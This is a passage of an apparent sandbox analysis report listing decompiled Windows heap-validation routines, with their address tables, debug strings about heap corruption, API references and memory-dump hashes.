													_t309 =  *((intOrPtr*)(_t405 + 4)) - 1;
													L60:
													_t94 = _t415 + 8; // -16
													E6A93E4A0(_t414, _t405, 1, _t94, _t309, _t380);
													goto L61;
												}
												_t405 = _t307;
											}
											_t309 = _t380;
											goto L60;
										}
									} else {
										_t407 =  *(_t414 + 0x4c);
										while(1) {
											__eflags = _t407;
											if(_t407 == 0) {
												_t312 =  *(_t378 - 8) & 0x0000ffff;
											} else {
												_t315 =  *(_t378 - 8);
												_t407 =  *(_t414 + 0x4c);
												__eflags = _t315 & _t407;
												if((_t315 & _t407) != 0) {
													_t315 = _t315 ^  *(_t414 + 0x50);
													__eflags = _t315;
												}
												_t312 = _t315 & 0x0000ffff;
											}
											__eflags = _v28 - (_t312 & 0x0000ffff);
											if(_v28 <= (_t312 & 0x0000ffff)) {
												goto L51;
											}
											_t378 =  *_t378;
											__eflags = _t414 + 0xc0 - _t378;
											if(_t414 + 0xc0 != _t378) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
								}
								_t317 = E6A93A229(_t414, _t415);
								__eflags = _t317;
								if(_t317 != 0) {
									goto L39;
								}
								E6A93A309(_t414, _t415,  *_t415 & 0x0000ffff, 1);
								goto L86;
							}
							_t385 =  *_t415 & 0x0000ffff;
							while(1) {
								__eflags = _t385 -  *((intOrPtr*)(_t402 + 4));
								if(_t385 <  *((intOrPtr*)(_t402 + 4))) {
									break;
								}
								_t320 =  *_t402;
								__eflags = _t320;
								if(_t320 == 0) {
									_t322 =  *((intOrPtr*)(_t402 + 4)) - 1;
									L34:
									_t63 = _t415 + 8; // -16
									E6A93BC04(_t414, _t402, 1, _t63, _t322, _t385);
									_t374 = _v24;
									goto L35;
								}
								_t402 = _t320;
							}
							_t322 = _t385;
							goto L34;
						}
					}
					if(_a20 == 0) {
						L18:
						if(( *(_t415 + 2) & 0x00000004) == 0) {
							goto L67;
						}
						if(E6A9C23E3(_t414, _t415) == 0) {
							goto L117;
						}
						goto L67;
					} else {
						if((_t390 & 0x00000002) == 0) {
							_t326 =  *(_t415 + 3) & 0x000000ff;
						} else {
							_t328 = E6A911F5B(_t415);
							_t342 = _v20;
							_t326 =  *(_t328 + 2) & 0x0000ffff;
						}
						_t429 = _t326;
						if(_t429 == 0) {
							goto L18;
						}
						if(_t429 >= 0) {
							__eflags = _t326 & 0x00000800;
							if(__eflags != 0) {
								goto L18;
							}
							__eflags = _t326 -  *((intOrPtr*)(_t414 + 0x84));
							if(__eflags >= 0) {
								goto L18;
							}
							_t412 = _a20;
							_t327 = _t326 & 0x0000ffff;
							L17:
							 *((intOrPtr*)(_t412 + _t327 * 4)) =  *((intOrPtr*)(_t412 + _t327 * 4)) + _t342;
							goto L18;
						}
						_t327 = _t326 & 0x00007fff;
						if(_t327 >= 0x81) {
							goto L18;
						}
						_t412 = _a24;
						goto L17;
					}
					L86:
				} while (_t415 <  *((intOrPtr*)(_t332 + 0x28)));
				_t189 = _v12;
				goto L88;
			}

0x6a9d4af7
0x6a9d4afb
0x6a9d4afd
0x6a9d4b01
0x6a9d4b03
0x6a9d4b08
0x6a9d4b0a
0x6a9d4b0f
0x6a9d4eb5
0x6a9d4eb5
0x6a9d4ebb
0x6a9d50d5
0x6a9d50d8
0x6a9d4ff6
0x00000000
0x6a9d4ff6
0x6a9d50de
0x6a9d50e4
0x6a9d50e8
0x6a9d5107
0x6a9d510c
0x6a9d50ea
0x6a9d50ff
0x6a9d5104
0x6a9d5112
0x6a9d5115
0x6a9d5118
0x6a9d5119
0x6a9d50cb
0x6a9d50cb
0x6a9d50af
0x00000000
0x6a9d50af
0x6a9d4ecb
0x6a9d50b6
0x6a9d50bb
0x6a9d4ed1
0x6a9d4ee6
0x6a9d4eeb
0x6a9d50c1
0x6a9d50c2
0x6a9d50c5
0x6a9d50c6
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9d4b15
0x6a9d4b15
0x6a9d4b1c
0x6a9d4b1e
0x6a9d4b23
0x6a9d4b27
0x6a9d4b33
0x6a9d4b38
0x6a9d4b3a
0x6a9d4b3c
0x6a9d4b41
0x6a9d4b41
0x6a9d4b3a
0x6a9d4b52
0x6a9d5045
0x6a9d504b
0x6a9d504f
0x6a9d506e
0x6a9d5073
0x6a9d5051
0x6a9d5066
0x6a9d506b
0x6a9d5083
0x6a9d5088
0x6a9d5088
0x6a9d508a
0x6a9d5091
0x6a9d5099
0x6a9d5099
0x6a9d509d
0x6a9d50a7
0x6a9d50ad
0x6a9d50ad
0x6a9d50ad
0x00000000
0x6a9d509d
0x6a9d4b58
0x6a9d4b5b
0x6a9d4b5e
0x6a9d4b63
0x6a9d4b66
0x6a9d4b69
0x6a9d4b6f
0x6a9d4be4
0x6a9d4bf0
0x6a9d4bf2
0x6a9d4bf5
0x6a9d4dc3
0x6a9d4dc6
0x6a9d4dc9
0x6a9d4dce
0x6a9d4dce
0x6a9d4dd0
0x6a9d4dd0
0x6a9d4dd5
0x6a9d4def
0x6a9d4dd7
0x6a9d4de7
0x6a9d4de7
0x6a9d4df3
0x6a9d5001
0x6a9d5007
0x6a9d500b
0x6a9d502a
0x6a9d502f
0x6a9d500d
0x6a9d5022
0x6a9d5027
0x6a9d5039
0x6a9d503a
0x6a9d503b
0x00000000
0x6a9d4df9
0x6a9d4dfd
0x6a9d4e90
0x6a9d4e94
0x6a9d4e9e
0x6a9d4ea4
0x6a9d4ea4
0x6a9d4ea4
0x6a9d4ea6
0x6a9d4ea6
0x00000000
0x6a9d4ea6
0x6a9d4e03
0x6a9d4e08
0x6a9d4f88
0x6a9d4f92
0x6a9d4f99
0x6a9d4f9c
0x6a9d4fe0
0x6a9d4fe4
0x6a9d4fee
0x6a9d4ff4
0x6a9d4ff4
0x6a9d4ff4
0x00000000
0x6a9d4fe4
0x6a9d4f9e
0x6a9d4fa4
0x6a9d4fa8
0x6a9d4fc7
0x6a9d4fcc
0x6a9d4faa
0x6a9d4fbf
0x6a9d4fc4
0x6a9d4fd2
0x6a9d4fd5
0x6a9d4fd6
0x6a9d4f34
0x6a9d4f34
0x00000000
0x6a9d4f39
0x6a9d4e0e
0x6a9d4e14
0x6a9d4e1b
0x6a9d4e25
0x6a9d4e2b
0x6a9d4e2b
0x6a9d4e33
0x6a9d4e38
0x6a9d4e8a
0x6a9d4e8a
0x00000000
0x6a9d4e3a
0x6a9d4e3e
0x6a9d4e43
0x6a9d4e47
0x6a9d4e53
0x6a9d4e58
0x6a9d4e5a
0x6a9d4e5c
0x6a9d4e61
0x6a9d4e61
0x6a9d4e5a
0x6a9d4e6e
0x6a9d4f41
0x6a9d4f47
0x6a9d4f4b
0x6a9d4f6a
0x6a9d4f6f
0x6a9d4f4d
0x6a9d4f62
0x6a9d4f67
0x6a9d4f7f
0x6a9d4f80
0x6a9d4f81
0x00000000
0x6a9d4e74
0x6a9d4e78
0x6a9d4e82
0x6a9d4e88
0x6a9d4e88
0x00000000
0x6a9d4e78
0x6a9d4e6e
0x6a9d4e38
0x6a9d4df3
0x6a9d4bfe
0x6a9d4c01
0x6a9d4c04
0x6a9d4c07
0x6a9d4c09
0x6a9d4c0c
0x6a9d4c0e
0x6a9d4c0e
0x6a9d4c11
0x6a9d4c11
0x6a9d4c0c
0x6a9d4c14
0x6a9d4c17
0x6a9d4dae
0x6a9d4db2
0x6a9d4db7
0x6a9d4dba
0x6a9d4dbd
0x6a9d4ef1
0x6a9d4ef7
0x6a9d4efb
0x6a9d4f1a
0x6a9d4f1f
0x6a9d4efd
0x6a9d4f12
0x6a9d4f17
0x6a9d4f2b
0x6a9d4f2b
0x6a9d4f2d
0x6a9d4f2e
0x6a9d4f2f
0x00000000
0x6a9d4f2f
0x00000000
0x6a9d4c1d
0x6a9d4c1d
0x6a9d4c20
0x6a9d4c23
0x6a9d4c26
0x6a9d4c29
0x6a9d4c2c
0x6a9d4c2e
0x6a9d4d91
0x6a9d4d91
0x6a9d4d92
0x6a9d4d97
0x6a9d4d9e
0x00000000
0x6a9d4d9e
0x6a9d4c34
0x6a9d4c37
0x6a9d4c39
0x6a9d4c3c
0x00000000
0x00000000
0x6a9d4c45
0x6a9d4c48
0x6a9d4c4e
0x6a9d4c50
0x6a9d4c78
0x6a9d4c78
0x6a9d4c7b
0x6a9d4c7d
0x6a9d4c80
0x6a9d4c84
0x6a9d4cad
0x6a9d4cad
0x6a9d4cb0
0x6a9d4cb8
0x6a9d4cbb
0x6a9d4cbe
0x6a9d4cc1
0x6a9d4cc7
0x6a9d4cdc
0x6a9d4cc9
0x6a9d4cd2
0x6a9d4cd4
0x6a9d4cd4
0x6a9d4cde
0x6a9d4ce0
0x6a9d4d13
0x6a9d4d13
0x6a9d4d16
0x6a9d4d18
0x6a9d4d29
0x6a9d4d2a
0x6a9d4d2c
0x6a9d4d34
0x6a9d4d1a
0x6a9d4d1a
0x6a9d4d1a
0x6a9d4d1d
0x6a9d4d1f
0x6a9d4d22
0x6a9d4d24
0x6a9d4d24
0x6a9d4d3c
0x6a9d4d3f
0x6a9d4d45
0x6a9d4d47
0x6a9d4d6c
0x6a9d4d6c
0x6a9d4d70
0x6a9d4d7e
0x6a9d4d84
0x6a9d4d84
0x00000000
0x6a9d4d49
0x6a9d4d49
0x6a9d4d56
0x6a9d4d56
0x6a9d4d59
0x00000000
0x00000000
0x6a9d4d4e
0x6a9d4d50
0x6a9d4d52
0x6a9d4d8e
0x6a9d4d5d
0x6a9d4d5f
0x6a9d4d67
0x00000000
0x6a9d4d67
0x6a9d4d54
0x6a9d4d54
0x6a9d4d5b
0x00000000
0x6a9d4d5b
0x6a9d4ce2
0x6a9d4ce2
0x6a9d4ce5
0x6a9d4ce5
0x6a9d4ce7
0x6a9d4cfb
0x6a9d4ce9
0x6a9d4ce9
0x6a9d4cec
0x6a9d4cef
0x6a9d4cf1
0x6a9d4cf3
0x6a9d4cf3
0x6a9d4cf3
0x6a9d4cf6
0x6a9d4cf6
0x6a9d4d02
0x6a9d4d05
0x00000000
0x00000000
0x6a9d4d07
0x6a9d4d0f
0x6a9d4d11
0x00000000
0x00000000
0x00000000
0x6a9d4d11
0x00000000
0x6a9d4ce5
0x6a9d4ce0
0x6a9d4c8a
0x6a9d4c8f
0x6a9d4c91
0x00000000
0x00000000
0x6a9d4c9d
0x00000000
0x6a9d4c9d
0x6a9d4c52
0x6a9d4c5f
0x6a9d4c5f
0x6a9d4c62
0x00000000
0x00000000
0x6a9d4c57
0x6a9d4c59
0x6a9d4c5b
0x6a9d4caa
0x6a9d4c66
0x6a9d4c68
0x6a9d4c70
0x6a9d4c75
0x00000000
0x6a9d4c75
0x6a9d4c5d
0x6a9d4c5d
0x6a9d4c64
0x00000000
0x6a9d4c64
0x6a9d4c17
0x6a9d4b75
0x6a9d4bc4
0x6a9d4bc8
0x00000000
0x00000000
0x6a9d4bd9
0x00000000
0x00000000
0x00000000
0x6a9d4b77
0x6a9d4b7a
0x6a9d4b8c
0x6a9d4b7c
0x6a9d4b7e
0x6a9d4b83
0x6a9d4b86
0x6a9d4b86
0x6a9d4b90
0x6a9d4b93
0x00000000
0x00000000
0x6a9d4b95
0x6a9d4bab
0x6a9d4bb0
0x00000000
0x00000000
0x6a9d4bb2
0x6a9d4bb9
0x00000000
0x00000000
0x6a9d4bbb
0x6a9d4bbe
0x6a9d4bc1
0x6a9d4bc1
0x00000000
0x6a9d4bc1
0x6a9d4b97
0x6a9d4ba4
0x00000000
0x00000000
0x6a9d4ba6
0x00000000
0x6a9d4ba6
0x6a9d4ea9
0x6a9d4ea9
0x6a9d4eb2
0x00000000

APIs

RtlCompareMemoryUlong.1105(-00000008,?,FEEEFEEE), ref: 6A9D4DB2
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,-00000008,?,?), ref: 6A9D4EE6
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,-00000008,?,FEEEFEEE), ref: 6A9D4F12
DbgPrint.1105(HEAP: ,-00000008,?,FEEEFEEE), ref: 6A9D4F1F
DbgPrint.1105(Heap block at %p is not last block in segment (%p),-00000018,?), ref: 6A9D4F34
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6A9D4F62
DbgPrint.1105(HEAP: ), ref: 6A9D4F6F
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6A9D4FBF
DbgPrint.1105(HEAP: ), ref: 6A9D4FCC
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6A9D5022
DbgPrint.1105(HEAP: ), ref: 6A9D502F
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6A9D5066
DbgPrint.1105(HEAP: ), ref: 6A9D5073
DbgPrint.1105(Heap entry %p has incorrect PreviousSize field (%04x instead of %04x),-00000018,?,?), ref: 6A9D5091
DbgPrint.1105(HEAP: ,-00000008,?,?), ref: 6A9D50BB
DbgPrint.1105(Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x),?,00000000,?,-00000008,?,?), ref: 6A9D50CB
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,-00000008,?,?), ref: 6A9D50FF
DbgPrint.1105(HEAP: ,-00000008,?,?), ref: 6A9D510C

Strings

HEAP: , xrefs: 6A9D4F1A, 6A9D4F6A, 6A9D4FC7, 6A9D502A, 6A9D506E, 6A9D50B6, 6A9D5107
Heap block at %p has incorrect segment offset (%x), xrefs: 6A9D503B
Heap block at %p is not last block in segment (%p), xrefs: 6A9D4FD6
Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x), xrefs: 6A9D50C6
HEAP[%wZ]: , xrefs: 6A9D4EE1, 6A9D4F0D, 6A9D4F5D, 6A9D4FBA, 6A9D501D, 6A9D5061, 6A9D50FA
Heap block at %p has corrupted PreviousSize (%lx), xrefs: 6A9D4F81
Heap entry %p has incorrect PreviousSize field (%04x instead of %04x), xrefs: 6A9D508C
Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x), xrefs: 6A9D5119
Free Heap block %p modified at %p after it was freed, xrefs: 6A9D4F2F

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$CompareMemoryUlong
String ID: Free Heap block %p modified at %p after it was freed$HEAP: $HEAP[%wZ]: $Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)$Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)$Heap block at %p has corrupted PreviousSize (%lx)$Heap block at %p has incorrect segment offset (%x)$Heap block at %p is not last block in segment (%p)$Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)
API String ID: 2560481200-3591852110
Opcode ID: 6b6afe543d546f2e9000643d91b4efec5fd4e37b5e978141cb272b5b850413b0
Instruction ID: f170f56fa0d59b98e028f62556ef6a07d93b710111375ecfc261b0bd7cfd009b
Opcode Fuzzy Hash: 6b6afe543d546f2e9000643d91b4efec5fd4e37b5e978141cb272b5b850413b0
Instruction Fuzzy Hash: 2012B030204A46AFD725DF68C484BBAB7F5EF89304F26C459E4958B762DB34E881CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6A9D4496, Relevance: 45.9, APIs: 18, Strings: 8, Instructions: 417
memorynativeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 55%

			E6A9D4496(signed int* __ecx, void* __edx) {
				signed int _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed char _v24;
				signed int* _v28;
				char _v32;
				signed int* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t150;
				intOrPtr _t151;
				signed char _t156;
				intOrPtr _t157;
				unsigned int _t169;
				intOrPtr _t170;
				signed int* _t183;
				signed char _t184;
				intOrPtr _t191;
				signed int _t201;
				intOrPtr _t203;
				intOrPtr _t212;
				intOrPtr _t220;
				signed int _t230;
				signed int _t241;
				signed int _t244;
				void* _t259;
				signed int _t260;
				signed int* _t261;
				intOrPtr* _t262;
				signed int _t263;
				signed int* _t264;
				signed int _t267;
				signed int* _t268;
				void* _t270;
				void* _t281;
				signed short _t285;
				signed short _t289;
				signed int _t291;
				signed int _t298;
				signed char _t303;
				signed char _t308;
				signed int _t314;
				intOrPtr _t317;
				unsigned int _t319;
				signed int* _t325;
				signed int _t326;
				signed int _t327;
				intOrPtr _t328;
				signed int _t329;
				signed int _t330;
				signed int* _t331;
				signed int _t332;
				signed int _t350;

				_t259 = __edx;
				_t331 = __ecx;
				_v28 = __ecx;
				_v20 = 0;
				_v12 = 0;
				_t150 = E6A9D49A4(__ecx);
				_t267 = 1;
				if(_t150 == 0) {
					L61:
					_t151 =  *[fs:0x30];
					__eflags =  *((char*)(_t151 + 2));
					if( *((char*)(_t151 + 2)) != 0) {
						 *0x6aa06378 = _t267;
						asm("int3");
						 *0x6aa06378 = 0;
					}
					__eflags = _v12;
					if(_v12 != 0) {
						_t105 =  &_v16;
						 *_t105 = _v16 & 0x00000000;
						__eflags =  *_t105;
						E6A94174B( &_v12,  &_v16, 0x8000);
					}
					L65:
					__eflags = 0;
					return 0;
				}
				if(_t259 != 0 || (__ecx[0x10] & 0x20000000) != 0) {
					_t268 =  &(_t331[0x30]);
					_v32 = 0;
					_t260 =  *_t268;
					_t308 = 0;
					_v24 = 0;
					while(_t268 != _t260) {
						_t260 =  *_t260;
						_v16 =  *_t325 & 0x0000ffff;
						_t156 = _t325[0];
						_v28 = _t325;
						_v5 = _t156;
						__eflags = _t156 & 0x00000001;
						if((_t156 & 0x00000001) != 0) {
							_t157 =  *[fs:0x30];
							__eflags =  *(_t157 + 0xc);
							if( *(_t157 + 0xc) == 0) {
								_push("HEAP: ");
								E6A91B150();
							} else {
								E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_t325);
							E6A91B150("dedicated (%04Ix) free list element %p is marked busy\n", _v16);
							L32:
							_t270 = 0;
							__eflags = _t331[0x13];
							if(_t331[0x13] != 0) {
								_t325[0] = _t325[0] ^ _t325[0] ^  *_t325;
								 *_t325 =  *_t325 ^ _t331[0x14];
							}
							L60:
							_t267 = _t270 + 1;
							__eflags = _t267;
							goto L61;
						}
						_t169 =  *_t325 & 0x0000ffff;
						__eflags = _t169 - _t308;
						if(_t169 < _t308) {
							_t170 =  *[fs:0x30];
							__eflags =  *(_t170 + 0xc);
							if( *(_t170 + 0xc) == 0) {
								_push("HEAP: ");
								E6A91B150();
							} else {
								E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							E6A91B150("Non-Dedicated free list element %p is out of order\n", _t325);
							goto L32;
						} else {
							__eflags = _t331[0x13];
							_t308 = _t169;
							_v24 = _t308;
							if(_t331[0x13] != 0) {
								_t325[0] = _t169 >> 0x00000008 ^ _v5 ^ _t308;
								 *_t325 =  *_t325 ^ _t331[0x14];
								__eflags =  *_t325;
							}
							_t26 =  &_v32;
							 *_t26 = _v32 + 1;
							__eflags =  *_t26;
							continue;
						}
					}
					_v16 = 0x208 + (_t331[0x21] & 0x0000ffff) * 4;
					if( *0x6aa06350 != 0 && _t331[0x2f] != 0) {
						_push(4);
						_push(0x1000);
						_push( &_v16);
						_push(0);
						_push( &_v12);
						_push(0xffffffff);
						if(E6A959660() >= 0) {
							_v20 = _v12 + 0x204;
						}
					}
					_t183 =  &(_t331[0x27]);
					_t281 = 0x81;
					_t326 =  *_t183;
					if(_t183 == _t326) {
						L49:
						_t261 =  &(_t331[0x29]);
						_t184 = 0;
						_t327 =  *_t261;
						_t282 = 0;
						_v24 = 0;
						_v36 = 0;
						__eflags = _t327 - _t261;
						if(_t327 == _t261) {
							L53:
							_t328 = _v32;
							_v28 = _t331;
							__eflags = _t328 - _t184;
							if(_t328 == _t184) {
								__eflags = _t331[0x1d] - _t282;
								if(_t331[0x1d] == _t282) {
									__eflags = _v12;
									if(_v12 == 0) {
										L82:
										_t267 = 1;
										__eflags = 1;
										goto L83;
									}
									_t329 = _t331[0x2f];
									__eflags = _t329;
									if(_t329 == 0) {
										L77:
										_t330 = _t331[0x22];
										__eflags = _t330;
										if(_t330 == 0) {
											L81:
											_t129 =  &_v16;
											 *_t129 = _v16 & 0x00000000;
											__eflags =  *_t129;
											E6A94174B( &_v12,  &_v16, 0x8000);
											goto L82;
										}
										_t314 = _t331[0x21] & 0x0000ffff;
										_t285 = 1;
										__eflags = 1 - _t314;
										if(1 >= _t314) {
											goto L81;
										} else {
											goto L79;
										}
										while(1) {
											L79:
											_t330 = _t330 + 0x40;
											_t332 = _t285 & 0x0000ffff;
											_t262 = _v20 + _t332 * 4;
											__eflags =  *_t262 -  *((intOrPtr*)(_t330 + 8));
											if( *_t262 !=  *((intOrPtr*)(_t330 + 8))) {
												break;
											}
											_t285 = _t285 + 1;
											__eflags = _t285 - _t314;
											if(_t285 < _t314) {
												continue;
											}
											goto L81;
										}
										_t191 =  *[fs:0x30];
										__eflags =  *(_t191 + 0xc);
										if( *(_t191 + 0xc) == 0) {
											_push("HEAP: ");
											E6A91B150();
										} else {
											E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
										}
										_push(_t262);
										_push( *((intOrPtr*)(_v20 + _t332 * 4)));
										_push( *((intOrPtr*)(_t330 + 8)));
										_push(_t330 + 0x10);
										E6A91B150("Tag %04x (%ws) size incorrect (%Ix != %Ix) %p\n", _t332);
										L59:
										_t270 = 0;
										__eflags = 0;
										goto L60;
									}
									_t289 = 1;
									__eflags = 1;
									while(1) {
										_t201 = _v12;
										_t329 = _t329 + 0xc;
										_t263 = _t289 & 0x0000ffff;
										__eflags =  *((intOrPtr*)(_t201 + _t263 * 4)) -  *((intOrPtr*)(_t329 + 8));
										if( *((intOrPtr*)(_t201 + _t263 * 4)) !=  *((intOrPtr*)(_t329 + 8))) {
											break;
										}
										_t289 = _t289 + 1;
										__eflags = _t289 - 0x81;
										if(_t289 < 0x81) {
											continue;
										}
										goto L77;
									}
									_t203 =  *[fs:0x30];
									__eflags =  *(_t203 + 0xc);
									if( *(_t203 + 0xc) == 0) {
										_push("HEAP: ");
										E6A91B150();
									} else {
										E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
									}
									_t291 = _v12;
									_push(_t291 + _t263 * 4);
									_push( *((intOrPtr*)(_t291 + _t263 * 4)));
									_push( *((intOrPtr*)(_t329 + 8)));
									E6A91B150("Pseudo Tag %04x size incorrect (%Ix != %Ix) %p\n", _t263);
									goto L59;
								}
								_t212 =  *[fs:0x30];
								__eflags =  *(_t212 + 0xc);
								if( *(_t212 + 0xc) == 0) {
									_push("HEAP: ");
									E6A91B150();
								} else {
									E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push(_t331[0x1d]);
								_push(_v36);
								_push("Total size of free blocks in arena (%Id) does not match number total in heap header (%Id)\n");
								L58:
								E6A91B150();
								goto L59;
							}
							_t220 =  *[fs:0x30];
							__eflags =  *(_t220 + 0xc);
							if( *(_t220 + 0xc) == 0) {
								_push("HEAP: ");
								E6A91B150();
							} else {
								E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_t328);
							_push(_v24);
							_push("Number of free blocks in arena (%ld) does not match number in the free lists (%ld)\n");
							goto L58;
						} else {
							goto L50;
						}
						while(1) {
							L50:
							_t92 = _t327 - 0x10; // -24
							_t282 = _t331;
							_t230 = E6A9D4AEF(_t331, _t92, _t331,  &_v24,  &_v36,  &_v28, _v20, _v12);
							__eflags = _t230;
							if(_t230 == 0) {
								goto L59;
							}
							_t327 =  *_t327;
							__eflags = _t327 - _t261;
							if(_t327 != _t261) {
								continue;
							}
							_t184 = _v24;
							_t282 = _v36;
							goto L53;
						}
						goto L59;
					} else {
						while(1) {
							_t39 = _t326 + 0x18; // 0x10
							_t264 = _t39;
							if(_t331[0x13] != 0) {
								_t319 = _t331[0x14] ^  *_t264;
								 *_t264 = _t319;
								_t303 = _t319 >> 0x00000010 ^ _t319 >> 0x00000008 ^ _t319;
								_t348 = _t319 >> 0x18 - _t303;
								if(_t319 >> 0x18 != _t303) {
									_push(_t303);
									E6A9CFA2B(_t264, _t331, _t264, _t326, _t331, _t348);
								}
								_t281 = 0x81;
							}
							_t317 = _v20;
							if(_t317 != 0) {
								_t241 =  *(_t326 + 0xa) & 0x0000ffff;
								_t350 = _t241;
								if(_t350 != 0) {
									if(_t350 >= 0) {
										__eflags = _t241 & 0x00000800;
										if(__eflags == 0) {
											__eflags = _t241 - _t331[0x21];
											if(__eflags < 0) {
												_t298 = _t241;
												_t65 = _t317 + _t298 * 4;
												 *_t65 =  *(_t317 + _t298 * 4) + ( *(_t326 + 0x10) >> 3);
												__eflags =  *_t65;
											}
										}
									} else {
										_t244 = _t241 & 0x00007fff;
										if(_t244 < _t281) {
											 *((intOrPtr*)(_v12 + _t244 * 4)) =  *((intOrPtr*)(_v12 + _t244 * 4)) + ( *(_t326 + 0x10) >> 3);
										}
									}
								}
							}
							if(( *(_t326 + 0x1a) & 0x00000004) != 0 && E6A9C23E3(_t331, _t264) == 0) {
								break;
							}
							if(_t331[0x13] != 0) {
								_t264[0] = _t264[0] ^ _t264[0] ^  *_t264;
								 *_t264 =  *_t264 ^ _t331[0x14];
							}
							_t326 =  *_t326;
							if( &(_t331[0x27]) == _t326) {
								goto L49;
							} else {
								_t281 = 0x81;
								continue;
							}
						}
						__eflags = _t331[0x13];
						if(_t331[0x13] != 0) {
							 *(_t326 + 0x1b) =  *(_t326 + 0x1a) ^  *(_t326 + 0x19) ^  *(_t326 + 0x18);
							 *(_t326 + 0x18) =  *(_t326 + 0x18) ^ _t331[0x14];
						}
						goto L65;
					}
				} else {
					L83:
					return _t267;
				}
			}

0x6a9d44a1
0x6a9d44a3
0x6a9d44a7
0x6a9d44ac
0x6a9d44af
0x6a9d44b2
0x6a9d44b9
0x6a9d44bc
0x6a9d47f2
0x6a9d47f2
0x6a9d47f8
0x6a9d47fc
0x6a9d47fe
0x6a9d4804
0x6a9d4805
0x6a9d4805
0x6a9d480c
0x6a9d4810
0x6a9d4812
0x6a9d4812
0x6a9d4812
0x6a9d4822
0x6a9d4822
0x6a9d4827
0x6a9d4827
0x00000000
0x6a9d4827
0x6a9d44c4
0x6a9d44d3
0x6a9d44d9
0x6a9d44dc
0x6a9d44de
0x6a9d44e0
0x6a9d4560
0x6a9d4520
0x6a9d4522
0x6a9d4525
0x6a9d4528
0x6a9d452b
0x6a9d452e
0x6a9d4530
0x6a9d4697
0x6a9d469d
0x6a9d46a1
0x6a9d46c0
0x6a9d46c5
0x6a9d46a3
0x6a9d46b8
0x6a9d46bd
0x6a9d46cb
0x6a9d46d4
0x6a9d4677
0x6a9d4677
0x6a9d4679
0x6a9d467c
0x6a9d468a
0x6a9d4690
0x6a9d4690
0x6a9d47f1
0x6a9d47f1
0x6a9d47f1
0x00000000
0x6a9d47f1
0x6a9d4536
0x6a9d4539
0x6a9d453c
0x6a9d4636
0x6a9d463c
0x6a9d4640
0x6a9d465f
0x6a9d4664
0x6a9d4642
0x6a9d4657
0x6a9d465c
0x6a9d4670
0x00000000
0x6a9d4542
0x6a9d4542
0x6a9d4546
0x6a9d4548
0x6a9d454b
0x6a9d4555
0x6a9d455b
0x6a9d455b
0x6a9d455b
0x6a9d455d
0x6a9d455d
0x6a9d455d
0x00000000
0x6a9d455d
0x6a9d453c
0x6a9d4579
0x6a9d457c
0x6a9d4587
0x6a9d4589
0x6a9d4591
0x6a9d4592
0x6a9d4597
0x6a9d4598
0x6a9d45a1
0x6a9d45ab
0x6a9d45ab
0x6a9d45a1
0x6a9d45ae
0x6a9d45b4
0x6a9d45b9
0x6a9d45bd
0x6a9d4759
0x6a9d4759
0x6a9d475f
0x6a9d4761
0x6a9d4763
0x6a9d4765
0x6a9d4768
0x6a9d476b
0x6a9d476d
0x6a9d479c
0x6a9d479c
0x6a9d479f
0x6a9d47a2
0x6a9d47a4
0x6a9d4830
0x6a9d4833
0x6a9d4879
0x6a9d487d
0x6a9d48f1
0x6a9d48f3
0x6a9d48f3
0x00000000
0x6a9d48f3
0x6a9d487f
0x6a9d4885
0x6a9d4887
0x6a9d48a8
0x6a9d48a8
0x6a9d48ae
0x6a9d48b0
0x6a9d48dc
0x6a9d48dc
0x6a9d48dc
0x6a9d48dc
0x6a9d48ec
0x00000000
0x6a9d48ec
0x6a9d48b2
0x6a9d48bc
0x6a9d48be
0x6a9d48c1
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9d48c3
0x6a9d48c3
0x6a9d48c6
0x6a9d48c9
0x6a9d48cc
0x6a9d48d1
0x6a9d48d4
0x00000000
0x00000000
0x6a9d48d6
0x6a9d48d7
0x6a9d48da
0x00000000
0x00000000
0x00000000
0x6a9d48da
0x6a9d494f
0x6a9d4955
0x6a9d4959
0x6a9d4978
0x6a9d497d
0x6a9d495b
0x6a9d4970
0x6a9d4975
0x6a9d4986
0x6a9d4987
0x6a9d498d
0x6a9d4990
0x6a9d4997
0x6a9d47ef
0x6a9d47ef
0x6a9d47ef
0x00000000
